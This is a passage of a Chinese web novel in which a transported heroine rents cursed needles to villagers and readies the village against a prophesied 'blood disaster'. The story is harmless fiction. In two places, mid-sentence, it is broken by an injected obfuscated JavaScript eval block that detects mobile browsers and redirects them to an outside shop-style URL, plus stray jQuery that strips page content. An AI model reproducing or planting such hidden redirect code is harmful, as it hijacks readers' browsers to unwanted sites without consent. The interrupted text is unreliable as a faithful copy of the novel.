“胡闹!哪有什么邪术,没看黎小姐就站在旁边吗!” “当着黎小姐的面,哪能有什么邪术!” “这……” 即使再不甘心,老李也只能偃旗息鼓,感慨这白家娘子运气好,小丫头出门偏生撞上了仙人!仙人动动手指,这一家妇孺也跟着鸡犬升天。 可怜他打了一辈子光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157320|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棍儿,到底没能轮到他。老李家里没几亩田,没有女人愿意跟他,却是不知道他几时才能去上媳妇了。只是没关系,村口的老张当年也跟着白成峰去了,老张的媳妇也正年轻。现在怕是也在发愁。找她热络热络,搭个伙过日子也是好的。 一个白莹幸运,被仙人眷顾,还能个个都这样不成? 其它村人却不像是老李一样,满脑子只盯着村里的媳妇。大伙儿围着那翻飞的镰刀和针线,啧啧称奇: “我的天爷啊,这镰刀竟然能自己干活……这不知得有多省力气啊……” “这速度是真快,还一点儿不累,也太安逸了吧!” 有人一拍大腿:“这就是仙法!黎小姐一定传授了白家娘子仙法!” 既然是仙法,总是只能传给有缘人的。村人面面相觑,叹息一声。总不好什么都厚着脸皮找黎小姐要,万一触怒了仙人,可怎么办才好。 四面的村人纷纷对着白莹投去艳羡的目光。 真好啊! 这一对母女运道是真的好,当真是村里的福星!小丫头有孝心,为了母亲出门采药,竟然碰巧撞上了仙人!把仙人带回家里,福泽了全村不说,自己也要跟着飞黄腾达了。 真真是一段佳话,却也嫉妒不得。有几个人能像白凝春一般,小小年纪为了母亲出生入死以身犯险的?这个奇遇就当她们母女来拿。 哎,昆仑宫里的仙人要种灵花灵草,也不过是这般轻松吧? 以后这家人的日子过得不知道有多舒服呢! 黎小姐也是一点没有架子,竟然还能传授仙法给人耕地,真是他们见过最好的仙人。 村人欣羡不已的同时,白莹和白凝春刚刚收完一块地,抬起头来,对视一眼。眼下将近半亩良田已经收完,她们额角却连汗都未出。母女两人拿着机扩与铲子,脸上带着大大的笑容,看着这丰收的麦田。 “真好啊,以前从来没有这么轻松过!娘亲你看,这么多麦子!”白凝春欢呼着倒在麦穗堆里。 寻常的父母,大约会呼叫着让孩子赶紧起开。白莹却从来不做那种扫兴的人。她笑盈盈地摸摸凝春的头,看着旁侧的老李一眼,礼道:“李大哥,你都看见了,我们不需要什么帮助。” “男女有别,共处一室多少不合适,也请您以后不要来我们家中了。” 在村人们面前把这事儿挑明白了,算是落尽了老李的面子。老李低头,面有讷讷之色。村人们哪能不知道这种八卦,纷纷横老李一眼,摇头鄙夷。 确实是不仗义。白莹早就显出不乐意,白成峰也刚走没多久。这还一直打着白家母女的主意,哪有这种人? 白莹母女却没有继续执着给他一个教训什么的。老李不值得她们那么多眼神。她们只是盯着麦子,笑得嘴也合不拢,干劲十足的继续起来。 一年的辛苦有了着落,以后的生路也有了着落。 能不高兴吗? 黎应晨笑眯眯地靠在树上,看着这场丰收。 她轻轻咳嗽了一下。 只需要一点动静,所有村人纷纷一起回头,眼巴巴地看着她。 动作之迅速,行动之整齐划一,令黎应晨都惊了一下。 “那个什么……这不是仙法。” 她干咳两声,一撩头发,严肃地点点头。 “想要的话,我这还有哈。” 空气静默了两秒。 然后,所有人,瞬间沸腾了。 17. 新生 “当真有这种好事吗?!” “黎小姐!黎小姐请看看我!” “仙法!仙人要传授仙法了!” 黎应晨差点被挤晕,全靠针女护着。她野惯了,差点爬到树上去,被姜堰汗颜着拉下来—— 哪有仙人有事没事就上树的! 黎应晨费了点力气,好容易才把沸腾的人群压下去。 “不是仙法!不是仙法!”她扯着嗓子嚷嚷,“是撞邪哦!” 众人:“…………” 众人:? 黎应晨拿出一根沾着血的针,笑眯眯地说:“这是当年杀了针女的针,有幽深的怨气凝结其上。超方便的。” 村人毛骨悚然。 什么叫超方便啊! 听起来好可怕啊! “有点血迹不用担心,它插在在针女身上蕴养了百来年了,很正常的。” 真的正常吗!真的吗!插在鬼物身上几百年的充满怨气的针哪里正常了! “只需要学一下操作线的手法,就可以把这东西拿到家里啦!” ——把这东西带进家里怎么看都不是什么好事啊!!! “这东西归根结底还是需要自己操控针线,平常针女也不会盯着,这点比较遗憾,嗯……能接受的再来吧。” 不会一整天都被邪祟盯着真是太谢谢了啊!没有感觉到任何一点遗憾啊! 大家满目惊恐,欲言又止。 但是……但是这看起来也太方便了……! 大家又看向一旁的树荫。白莹已经带着凝春回到了树荫下,靠在树干上,笑眯眯地操作着木柄,看着镰刀和针线自己收割。凝春还拎了煮好的绿豆汤来,坐在低矮的树杈上,晃着小腿喝着汤,粮食唰唰的落下,别提多惬意了。 这哪里是干活的样子……这简直是仙人的日子!也太香了吧! 众人面色扭曲,内心疯狂纠结。 在这一瞬间,他们都体会到了初见时白凝春的纠结—— 半边脑子喊着好可怕,半边脑子艳羡着好方便好厉害好想要,矛盾的要命,要撕裂掉了! “租借以年为单位,一整套农具,租金为年收成的十分之一。” 黎应晨看笑嘻嘻地耸耸肩,不打算为难任何人。虽然已经习惯了姜堰、吊树影等人在村中自由行走,但是村人们毕竟被邪祟迫害了几十年,心理障碍一时之间难以完全克服。要慢慢来才行。 但是她有信心。 因为实打实的好处,和人们想要过好日子的渴望,一定会战胜仇恨与恐惧。 “我要!” 一个女声打断了所有人的窃窃私语。 众人回头,看到一个额头裹着蓝色头巾的女人,擦一擦满脸的汗,分开人群,大步走上前来。 “我要,求仙人恩典!” 她声音沙哑,重重地点点头。汗珠从她的额角落下,漆黑的瞳孔里,反着麦田的金光。 ——尤二娘,尤清。 有人认出了她。 这正是老李在心里预计的第二个目标。她的丈夫张姓汉子,随着白成峰出行寻访昆仑宫,已许久未归。两人没有子嗣。张姓汉子家中薄田十余亩,尤清一个年轻女子,在黎应晨收服瓶女当天就开始了抢收。她娘家没得早,此刻偏没求助任何人,没日没夜的干到现在,累的腿脚发虚,但是眼神却坚定,里面有一股狠劲的倔意。 对于有些人来说,这怨针只是方便。但是对于有些人来说,这是救命的东西! 黎应晨笑了。 她非常,非常熟悉这股倔。 “来。”她笑眯眯地一拨算盘,“这就有。” 黎应晨下田之前就和针女通过了气。她问针女:“你最多能送出去几根针?” 针女沉默一会儿,弱弱道:“你可曾数过自己有几根头发?” 头发自然是有限的。但是数量众多,用完了可以再生成。针女也差不多。姜堰从来没有想过这个问题。她昨晚细细盘点了一晚上,发现自己能调动的针大约在千根左右。 留下以备不时之需的战斗用针,剩下的大约能分出去二百根左右。 等这二百根针慢慢长回来,大约需要七天左右的时间。 考虑到耕作操作精度的需求,黎应晨将五根针作为一组出租。第一批能供给四十户人家。 “听说了吗,从仙人那里,能租借到邪祟的针啊!” “我的老天,那东西能自己耕地!只要动动手指,再也没有比这个更舒服的了!” “怎么会!赶紧,立刻穿鞋,你去拾掇一下,我这就去白家!” 一个小童气喘吁吁地冲进家门,拖上母亲的手就走,“娘亲,快去,快去,我们有指望了!路上说,一会儿就晚了!” 消息不胫而走。白家门槛都快被踏破了,这四十户的名额,很快就被一抢而空。其中有三十四户都是缺少了壮年劳动力的孤弱人家。有白凝春、尤清这样的孤儿寡母,也有死了儿女的年老夫妇,甚至有几个瘸腿断手的残疾人。每个人家都留了债契书,由林济海代笔。 黎应晨快乐地数数契书,一点也不意外这个结果。 她其实完全可以把这针女的邪祟衍生物美化一番,甚至不必告知这是什么邪祟衍生物。只要闭着嘴把东西一租,再好租不过了。而且这种躲懒的好东西,来租的都会是村里大户,收入会比现在多不少。 但她就要那么耸人听闻的吓唬几句,让大家想明白了再说。 一是迟早要让村民们习惯邪祟的存在,接受和邪祟并存,二就是……这样一来,第一时间毫不犹豫地选择租借的人,多半都是真正需要帮扶的人。 黎应晨眉眼低垂,微微一笑。 至于村人们是否诚实,是否会偷奸耍滑,在秋收后少付钱粮…… 她暂时不需要担心这个问题。且不说村里谁家几亩田都是透明的,收成都可估计,单就黎应晨这个救世仙人的名头摆在这里,也没几个村人敢胆大包天到捋她虎须。就算有,村长婆婆和林济海也不会放过他们。 村长婆婆和林济海一直在关注着这件事。 尤其是林济海。他来负责拟契书,小伙子脸上带着青涩腼腆的笑,把每户人家的耕地数量都点了一遍,写在了契书里。黎应晨知道,别人也许会犯傻,村长婆婆和林济海却是绝对晓得的,一顿饱不如顿顿饱。 她也看出了一点门道。这么重要的事情让林济海来做,村长婆婆明显是把林济海当做自己的接班人来培养的。 瓶女连苦半透明的身影飘在白家后门,静静地注视着那些女人孩童,老弱病残。他们踏过门槛,脸上带着洋洋的喜气,和对生的希望。 黎应晨送走最后一个人,伸了个懒腰。交代了许久,她也有些乏了。懒洋洋地趴在桌子上,笑问:“满意吗?” 连苦不答,静静地 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村长婆婆并没有被困在姐姐枉死的阴影里,也没有被畸形的躯体束缚住。她温柔,和蔼,素有威望,一边行医,一边处理诸多事务,也做了许多不同种类的茶。她在阳光下的这几十年,过得有声有色,充实美好。 连苦应当是明白的。 连苦的虚影靠在床榻之间,眉眼微垂,面带笑意,就像一个慵懒的年轻女人。 黎应晨竖起一根手指:“我有诸多正事要问,不过在开始之前,有一个小小好奇心,不知道您能不能满足一下。” 连苦微微歪头:“请讲。” “若我没有来,想必黑凤村已经变成你的家了。连苦,你是有智慧,也有思考能力的。在你动手之前,有没有想过…你妹妹也许在这里过得很好?” 这个问题黎应晨好奇许久了。 “被仇恨蒙蔽眼睛的时候,什么也顾不得了。” 连苦闭目。 “我那时觉得……这是必要的牺牲。连辛一定能理解。如果不能理解,那她也和那些人同流合污了。她背叛了我们。” “黎小姐,在你来之前,我完全没想过,她更想好好活下去,这件事是对的。” “我有我的计划。” 连苦的语速一直很慢,温和从容,清淡儒雅。但是黎应晨被那股子藏在温和底下的疯劲刺了一下,有点毛骨悚然。 她轻描淡写地吐的这个计划,还真是不可说啊。 每一个邪祟似乎都是这样。在黎应晨来之前,是完全沉浸于仇恨与怨恨中的状态。这是当然的,若非如此,他们大约也不会强行想着杀掉目之所及的每一个人。 五年之前,天空降下血幕,邪祟大爆发,数量与怨气都远超从前,几百年的怨灵们纷纷从深林坟岗埋骨地中走出,将这人间变成一片炼狱。与此同时,昆仑宫的所有仙人与人间失去了联络。 五年之前,到底发生了什么? 仙人们去哪里了? 邪祟爆发与昆仑宫的仙人们是否有关系,在这场灭世惨剧中,他们到底扮演了什么角色? “……好,我晓得了,那我开始了。” 黎应晨坐好,轻吸一口气。 “当年,在大槐树下,那些仙人许你拥有和他们一样的力量。在那之后,发生了什么?” 18. 血灾 “……” 连苦诡异地沉默下来。 半晌,她吐出了五个字,让黎应晨一下子毛骨悚然: “我被……看到了。” “什…什么意思?”黎应晨微微握紧茶杯。 别听。在她的心底深处,好像有一些直觉在尖叫。类似于小动物远离危险的本能。它们尖叫着拽住黎应晨:别听。别听。 “我被看到了。”连苦说,“被看到了。” “那一瞬间,有无数的目光转向了我……” “穹顶之上,海洋之下,山林之中,房屋角落,空气漂浮,深水之里,衣物,眼睛,肢体……在我们生活的每一个角落,祂们在看着我们。祂们一直在看着我们。” “直到那一刻,我才明白……” 连苦的嘴唇一开一合,轻声说: “祂们无处不在,祂们从未远去过。” 话音未落,黎应晨忽然看到了无数双眼睛。眼前的密密麻麻的,透明的有形的,眼前的空气中,无数扭曲的生物在同一刻将目光投向了她。 黎应晨低下头,在自己的茶杯之中看到了一颗眼睛。 喀! 黎应晨猛地站起身来,身后的凳子被挪了两寸。手里的茶杯砸在地上,应声而碎。清脆的响声唤回了她的神志。眼前的碎瓷片只是碎瓷片而已。 “哈啊……这,这是……” 她拼命平复着喘息,全身汗毛直竖。 “这是什么?” “你能感觉到?!”连苦猛地抬头。 村长婆婆满脸莫名,转头看向林济海。林济海没有和她对视,只是蹲下身去收拾了黎应晨摔碎的茶杯,面色苍白,盯着破碎的瓷片,不知道在想什么。 黎应晨坐回去:“我不知道。” 她使劲搓了搓胳膊,想要把这些乱七八糟的毛骨悚然感搓下去。 “我不知道我感觉到了什么,就只是……” 她搜肠刮肚了半天,最终还是妥协,觉得连苦的描述真是太准确了。 “……在被看着。” 黎应晨自小是个混世魔王,从来没有害怕过任何东西。鬼片,恐怖游戏,恐怖主题密室逃脱,鬼屋体验,哪怕是真正的邪祟追杀……她最多也只是感到难办,从来没有害怕过。不过是兵来将挡水来土掩罢了。 但是这不一样。 打游戏总有安全区,鬼屋也有根据地,邪祟也不是无解的,只要做完任务、解决事件,就能变得安全。但是那种注视感是没有边界的。祂们无形无意,只是看着你,只是……伴生于你。你要怎么躲避整个世界呢?每一天,每一刻,每一分每一秒,你都在被全方位无死角地注视着,无处可藏,无法可躲。 只有那一瞬间,黎应晨真实地产生了这个念头——祂们是无解的,宁可自杀,也要离这些东西远一点! 这是动物的本能。 这个世界的修仙者,力量到底来源于什么啊?!黎应晨头皮发麻。 “就是这样。”连苦垂下眼睛,“……等我恢复思考能力的时候,就已经是邪祟了。” “你……” “没错,我并不知道我是怎么死的。”连苦说,“但是我明白了一点。” “我曾夜卜问天,死路在何方。星辰的答案……就指向了那一刻。” 【何处死门洞开,九死一生?何处可挫骨扬灰、形魂俱灭、死无葬身之地?】 这个问题的答案不在昆仑宫仙人的刀剑下。 就在这一瞬间的感受里。 真正的死路,是昆仑宫仙人们分享给连苦的“力量”! 黎应晨无语凝噎,沉默半晌,发表了重要意见:“我草。” 这昆仑宫仙人的事儿突然不是很想管了!她在内心捂着脸尖叫,管我卵事,我自己带着村里人保家乡耕田园去就好了嘛,问这些干啥,果然好奇心害死猫啊啊啊—— 可惜,连苦的下一句话,立马打破了她的幻想。 “我能感觉到,昆仑宫仙人,他们可能要回来了。” “咦?!”黎应晨抬头。 “昆仑宫的仙力还留存在我身体中。我能感觉到,有什么与那仙力同源的东西将要来临……我昨夜起卦,再问繁星,只见天地仙力如同潮汐一般,正在日渐涌来,聚积沉淀之后,将有一次彻底的爆发。我花了一晚上,推算出了这次爆发的大致时间。” 你怎么又夜卜了。黎应晨微微皱眉,却见瓶女微微伸手,压下了她无用的关心。 “就在明年春分前后。” 好近。春分,三月左右……黎应晨严肃了起来。现如今的时节是九月下旬,黎应晨听白莹等人提过一嘴,小麦一年一熟,黑凤山地处大陆东北方,又在山上,大约是三月播种,九月秋收。这刚好是来年播种的日子。理论上来说,时隔多年,再一次见到老买家们,这是好事,但是……情况真会如此吗? 仙人们消失了五年,再回来的时候,还是仙人吗? 有种强烈的不祥预感,警报在黎应晨的脑子里乱响。得做些准备。她心里没底,只是还好还有几个月的时间,壮大一下村里的力量…… “而在最终的爆发来临之前,会有数次小的潮汐涌上。最近的一次,就在……七天之后。” “夺久之后?!”黎应晨差点把眼珠子瞪出来。 “七天。” 连苦与村长婆婆同时说。 村长苍老的声音和瓶女的声音重合在了一起。一老一年轻的连氏姐妹在榻上正襟危坐,一同向黎应晨拜下。 “大难降临,吉凶祸福皆是未知数。经全村人表决同意,黑凤村上下村中七百二十三口村民愿与黎小姐签订仙契,黑凤村从此就是黎小姐属下境域,全部村人皆为黎小姐私仆役使,恳请仙人庇护黑凤村,度此大劫。” —— 有那么一瞬间,黎应晨的脑子是空白的。 什么,我?她近乎荒谬的想。 多日不见的系统提示音,此时响起: 【叮咚!恭喜宿主得到 [黑凤村地神 - 连氏姐妹] 的认可。】 【[巢穴系统] 已解锁。】 【新的主线任务已解锁。】 【主线任务-阶段二:保护黑凤村度过第一次黑云血灾。血灾结束时,黑凤村剩余人口二百五十人及以上。任务奖励:异能池抽卡机会*1。昆仑山地图。】 【是否接取任务?】 黑云血灾! 这四个字儿没一个吉利点的,想也知道不是什么好东西。 至于这个悄悄进行的全村公投,想想看,倒是也并不意外。黎应晨轻叹一声。灾荒年间,百姓往往争相卖身为奴。若有家中儿女被富户买走,全家人都会喜极而泣。 没有什么比成为强者的私人财产更保险的了。 黎应晨并不想奴役任何人。但她举起手来,曲张几次,只看到瓶女婆婆与连苦低垂的头颅。 “也不一定要卖身给我…” 她刚想迟疑一下,系统的声音就弹了出来:【确定要拒绝任务吗?】 合着这俩是绑定的吗?黎应晨愕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157322|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然一瞬。哪怕她再迟钝,也感觉到了不对。系统什么意思?它为什么要求自己和黑凤村栓在一起? 包括这个什么巢穴系统与主线任务跳出来的时间,也很凑巧。就在连苦告知她天灾,而她有些动摇这个管闲事的决心之后。 就好像系统在推着赶着要她去多了解这个世界,生怕她什么也不顾的自己过日子去,不去管什么“黑云血灾”一样。 请君入瓮啊。 把自己绑架来这个世界,系统显然是有自己的目的的。继续走下去,怕是终有一日图穷匕见。黎应晨压抑着怒火抬起头。 连苦蓦然一惊。身为被役使的尸体,她能感受到一些黎应晨的情绪。这突然攀升的怒意吓得她瞪大了双眼。她还以为自己的行为触怒了黎应晨,一把拉起妹妹,正要道歉,就听黎应晨干脆利落的声音:“契约书给我看看。” 黎应晨闭着眼睛,呼出一口气。 系统绑架,和村民们无关。村民们只是想活下去而已。 奖励中的【昆仑山地图】,还是挺诱人的。 既然没法摆烂,那就更积极的去探索世界吧。她倒要看看,这个系统给她准备了什么东西。 连苦递上契约书。村民们确实拿出了足够的诚意来,这个仙契对黎应晨几乎没有任何束缚,生怕黎应晨不乐意,上头全都是勒令村民与村子本身对黎应晨进行供奉的内容。包含了十分之一的全年纳粮,一些交易税赋,以及自由处置权等等。只要求黎应晨在不影响自身安危时尽力保护村庄。黎应晨沉思一会儿,签上了自己的名字。 系统的奖励不拿白不拿。反正签了仙契之后,怎么对村民们还不是掌握在黎应晨的手里,想君主想共和,还是想松散的啥也不管就做个生意,她可是有完全的自由权。 想来村中众人与瓶女姐妹。也是看到了她对老弱的态度,才放心将村子交给她的。 这个承认真是沉甸甸的,黎应晨不打算辜负它。 【噔噔咚!恭喜宿主![黑凤村] 已经被纳入巢穴系统啦!】 黎应晨抽空看了一眼。 【巢穴 - 黑凤村】 【居住生物:人类(数量:724)、家畜组合(数量:560)、针女、瓶女、吊树影、】 【当前设施:耕地、磨坊、铁匠铺(简陋)、广场戏台(空置)、通灵古槐(D-略有作用)】 【生产队伍:农民(数量:620)、怨力针阵(数量:205)】 【战斗队伍:黎应晨的邪祟小队(A-初成规模)】 【防御评级:E-】 【生物力场余量:73%(邪祟衍生物已经可以钻进来了,至于本体可能得再等等)】 【评价:不可多得的落后原生态小村庄,山高皇帝远的逆天事件多发区。你的巢穴坚固程度与珠颈斑鸠的窝不相上下。】 珠、珠颈斑鸠的窝…… 黎应晨想到了那些圆滚滚的傻咕咕,拿两根树枝搭在窗台上,勉强能趴下去,有块地方兜着鸟蛋,就算一个窝了。 坚固程度约等于零是吧。 生物力场这一栏吸引了黎应晨的注意力。这就是邪祟不能进入村庄的原因吗?她微微挑眉,这个说法未免也太现代了一些。不过考虑到系统本身也许并不是这个时代的产物,倒也正常。话说回来,这系统到底是个什么东西,打哪儿来的? 不过这都是之后的事情了。眼下最重要的是,先把七天后的黑云血灾度过去。 “连苦。再开一次夜卜,会对你造成什么样的伤害?” 19. 动员 “我不知道。” 连苦的答案超出黎应晨的预料。 “星辰就在那里,并不会找我们索要什么。我们只是一群可怜的蝼蚁,拼命地想要从那浩瀚无垠的规律中,窥见一线真相。” 如果说正常的卜算是远远地看着九天之上,那么夜卜就是以身涉险,用蝼蚁一样的凡人魂魄踏入星海之间。每一次夜卜都是一次新的冒险。也许会魂飞魄散,也许不会。也许会付出极其惨痛的代价,也许何其有幸能毫发无损地归来。 夜卜人是面向天地星辰的战士。 “说吧,你想知道什么?”连苦说,“我今晚就可以再占一次。” “我明白了。” 黎应晨说。她没有说任何同情或者劝阻的话。对于这样意志坚定的战士来说,那都是没有意义的东西。她毫不客气地承认了自己的责任,也认同连苦没有杂念的牺牲。 “我想知道,黑云血灾这四个字的含义。最少要知道它究竟代表着什么形式的灾祸。” “明白。”连苦颔首。 她没有问黎应晨是从哪得知这四个字的。这少女身上全都是谜团。在她看到黎应晨笑眯眯地给那些孤女们分发怨针的那一刻,她就已经给出了认可。 相信黎应晨,追随黎应晨。就是这样无言的信任。 第二天,连苦重伤修养,在心灵链接中送来了夜卜的答案,上面只有两个触目惊心的词: 天灾。 尸潮。 “……”黎应晨捏捏眉心。 看到这两个字,她第一反应是生化危机,或者僵尸世界大战那样的尸潮,感觉画风都串了。但是显然这里的尸体应当是另一回事。能够自由行动的尸体,应该是邪祟的衍生物,或者……就是邪祟本身。 她微微打了个寒战。 以往都是一对一作战,一个连苦就已经够人受的了。能够组成尸潮的邪祟……得有多少? 她要怎么带着这七百多人,在潮水一样的邪祟中活下去? 丰收的喜悦之后,就是大灾劫。应该庆幸这个世界好歹给他们留了一个秋收,储备了能够勉强过冬的粮食。在抢收结束之后,林济海将村里人召集起来,宣布了这个消息,正式进入战前警戒。 黎应晨坐在旁侧,本来以为会听到绝望的哭喊,但她错了。村民们自然惊恐,但是只激起了压低声音的絮语与讨论,没有一个人在哭。他们在讨论,在思考,在想着如何藏起老弱,如何制造防御工事,如何对抗邪祟。大家七嘴八舌,所有人的眼睛里都压着一团沉甸甸的火—— 这世道如地狱一般危险,好在还能有仙人引路。 他们拼了命也要抓住这根救命的稻草,把自己拉到人间去! “我们是从十八层地狱底下爬上来的!我们什么也不怕!”林济海站在戏台上,一向文弱的嗓音此刻铿锵有力,“我们有多少人曾经没了爹娘,没了丈夫妻子,同胞兄弟?我们连过冬的粮食都差点没了!那时候有多少人喊着过不下去了,有多少人耗尽了粮缸里的最后一粒米?但你看怎么样?我们都挺过来了!这是生养我们的土地,是我们干了一辈子的家、田和归宿!我从这里出生,最后也要埋回这地里去!我们绝不会把这里让给其它任何东西!” “父老乡亲,摸摸你们的胸腔!你的心还在跳,血还在流!那我们就不是他们一只手碾碎的虫豸蝼蚁!谁甘心做虫豸蝼蚁?” “去他的吧!” “绝不!” “谁要就这么死了!” “我家闺女还要成人呢!” 讲台之下,人群汹涌,七嘴八舌的高声喝骂。 林济海扬声道:“绝不!我们绝对不是蝼蚁!年轻的可以拿刀,年老的可以煮粥,有一份力出一份力,有一份心尽一份心!大家上下一条心,这不公的世道就压不垮我们!!” “事在人为可翻天,这天地间没有我们过不去的坎!” 七百口人呼声雷动:“是!!!” 白莹拉着白凝春站在台下,八九十的老者也没有走。青壮年们扶老携幼,老少男女的眼神都是一样的,灼灼目光注视着台上的林济海,也注视着这茫茫的血幕天地。 黎应晨为之动容。 散会之后,黎应晨打开了沙堡系统。林济海将村民们按住址编成几十组人,各司其职,开始了紧锣密鼓的战前准备。首要任务就是抓紧工期,修筑防御工事。 村民们热火朝天的动了起工。 能像是堆沙堡一样轻松地堆起结实坚固的防御工事来,高兴得林济海满脸通红,带着黎应晨寻访全村,一一规划介绍。 时值此刻,黎应晨才认真地审视林济海。他熟悉黑凤村的每一寸土地,每一户人家。周边地形尽在他的掌握之中,讲起来如数家珍。 林济海一一清点着村口的道路和地形:“黑凤山北侧山崖绝壁,西侧缓坡麦田,秋收后剩下麦秆残碎。东侧临悬崖深渊,最近的桥梁在离村口步行一刻钟处。从东南侧可以下山。总体来看,是地势险要,易守难攻之处。” “兵法有道,凡守者,当进郭圉退亭障以御战。之前因为瓶女在麦田中作乱,附近散落的村民们均已收缩至村中心,此当为一件好事。我们只需要固守村中,应对从西侧、南侧与东南侧来的尸潮。” “我预计以外围房屋为基础,堵住路口设障,堆垒第一道防线,就像城墙一样建设,预计高二十尺左右。” 林济海领着黎应晨来看施工现场。村民们扬声和他们打招呼,一个个壮年男性赤着臂膀,满脸红润,汗水滴下来,浸透湿润的沙。女子在旁边统计调度,支锅做饭,又有幼童在跑着,来回传递信息与工具。为了抓紧赶工期,所有人就在工地上吃饭,轮流进餐,吃完继续动工。 为了过上好日子,为了带着父母妻儿一起活下去,没有人叫苦叫累,大家都卯着一股劲。 沙堡系统下的沙子湿润的恰到好处,一插一铲子,好塑造,又结实不易塌陷。等黎应晨撤掉沙堡系统,它们就会变成结实的石墙。 林济海说:“我们会组织好村民兵团。只是普通人对上邪祟,不知道能有多少反抗的力量。” 黎应晨闭目沉思:“正式对上的邪祟应该不多。那些难解决的东西我们来解决就好。村民卫队去解决基础的小鬼与邪祟衍生物。” 黎应晨早些时候去问过了姜堰和吊树影,得知了一件很重要的事:邪祟是有领地的。 每一个邪祟的怨气盘桓于一块地区,都不会轻易越界。一旦侵入其他邪祟的领地,彼此之间一定会争出一个你死我活。 充满怨恨、凭借本能行动的邪祟,是无法团结起来的。他们憎恨的对象也包含彼此。哪怕因为共同的仇恨对象而短暂合作,也会很快就被引燃矛盾,彼此攻讦,并不会因为对方是同类就缓和一些。只有一些思维高度重合的邪祟有可能组成共生体,极其稀少,目前黎应晨还没有见过。 也就是说,尸潮之中的邪祟含量必然是不多的。 还好情况没有糟糕到要面对铺天盖地的连苦,那就真没的玩儿了。 除此之外,黑云血灾这个名字也让黎应晨很在意。黑云指的是尸潮,血灾又是什么意思呢? 天灾?怎么个天灾法? 只是连苦的状况不能再夜卜,所以没有更详细的信息了。只能到时候随机应变了。 黑凤村的秋收结束,粮也收上来了。 村里人均耕地约有三亩左右,天公作美,在这血幕之下也迎来一场大丰收,每亩麦地收获了约一百二十斤左右的粮食。大家留足了自己吃用过冬的存粮,所有收成十中抽一,向村里上交了共计两万六千斤粮食。租借黎应晨怨针的四十一户人家又交上了来年的租 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她尝试了一下,在家中叫来白凝春和吊树影,让白凝春试着打吊树影一拳。小孩子的拳头不痛不痒,倏一下穿过了吊树影的身体,把白凝春摔了一个踉跄。 吊树影笑笑:“只要我不想,这孩子碰不到我。我的衍生物也不行。” 鬼还是有鬼的尊严的。 黎应晨把他们带来村口,让吊树影挂在老槐树身上,白凝春又试了一次。这一次,拳头一下砸中了吊树影的腿脚。 吊树影被打的晃了晃,无奈地正了身子,对黎应晨说道:“确实有用。而且,在这古槐旁边,感觉我的怨力也有所提升。” “真是个好东西!”黎应晨一拍大腿,“村西的防御就靠它了。” 人类能靠它突击邪祟,邪祟也能靠它蕴养怨力。而且老槐树还只允许它“认可”的人使用它的能力,也不必担心资敌。 真是看着一代村人长大的长者树啊。黎应晨感动地抚摸粗糙的树皮。 吊树影挂在树上,低头问:“但是话说回来啊小主公,姜堰不就在你旁边,你一定要叫我来做什么?” 黎应晨赔笑:“不好意思,不好意思,因为你长得实在太像沙袋了。” 吊在那里晃来晃去的。 吊树影:“……” 我就知道!吊死鬼就没有鬼权了吗!! 鉴于它确实很好使,黎应晨肉痛地用20000收入升级了通灵古槐。 叮的一声,古槐的等级从【D-略有作用】,上升到了【C-精良奇物】 与此同时,公粮仓里的两万斤粮食,就像被空气蚕食一样,从边缘开始一点点慢慢地消失了。整个过程只用了十几秒。 吓得守粮仓的史老爷子差点以为闹邪祟了,跺着脚抄起铁叉,就要和空气拼命。 黎应晨赶去的时候,史老爷子已经被林济海等人拦住了,正悔恨不已,吹着两撇山羊胡子:“我就一眼没看住!就一眼!要是村里的粮食给我这弄没了,我有什么脸去见乡里乡亲!有什么脸去见仙人!我这一把老骨头也得有点作用,舍得一条命去,也得把粮食拿回来啊!” 史老爷子说到激动处,气得跺着脚,差点落下泪来。 “珍惜下骨头,珍惜下骨头。”黎应晨感动又汗颜,连忙拦住,“是我拿走了,我自有用处。以后我花用之前给你们通个气。” 老爷子这才舒心,讪笑着摸摸头:“缘是仙人有用,那自拿去,本就是仙人的东西,只道怕给仙人丢了,嘿嘿。” 解决完这个闹剧,黎应晨才去仔细看升级的通灵古槐。 这一看,她眼前顿时一亮。 20. 吊桥 古槐的说明大部分都未变,唯有一个能力多了一句话: [能力:万物有灵] 老槐树认识你,也记挂远行的游子。槐树允许你使用它的能力。当你不在它的身边时,带着它的血液,你仍能享受到它的荫庇。 血液…… 黎应晨尝试着取了一点新鲜树汁,蘸在衣物上。有一模一样的效果。 老槐树对于村西防线的支援一下子就扩大到了整个战线。 人们赶来,怀着敬意取一小节老槐树的枝叶,用细线栓了,挂在腰间。老槐树的枝叶沙沙作响,就像九百年以来一直做的那样,慈和注视着看着村民们,为他们挡去毒辣的日光。 “我们得赢啊!”人们嚷嚷,“不然都对不起树!” “树老仙看了我们不知道多少代人咯。在爷爷还跟你这么大似的时候,它就在这了。” 年逾古稀的老爷子坐在树下,笑呵呵地摸着粗糙的树干,他的皮肤与树皮一样饱经沧桑。 “我们可得保护好树老仙啊,后生仔。” 就像保护我们的家园一样。 与此同时,黎应晨画好了图纸,找到村中的木匠,表达了有关手柄的需求。她拿着只有外观的图纸解释,需要做一个精细可动的中空机扩。按键按下去要能快速地弹起来,弧线要圆润贴合手部,要有可以精准操控的摇杆,还要尽量轻便。 两个小木匠面面相觑。 黎应晨这才意识到,自己想的有些太简单了。 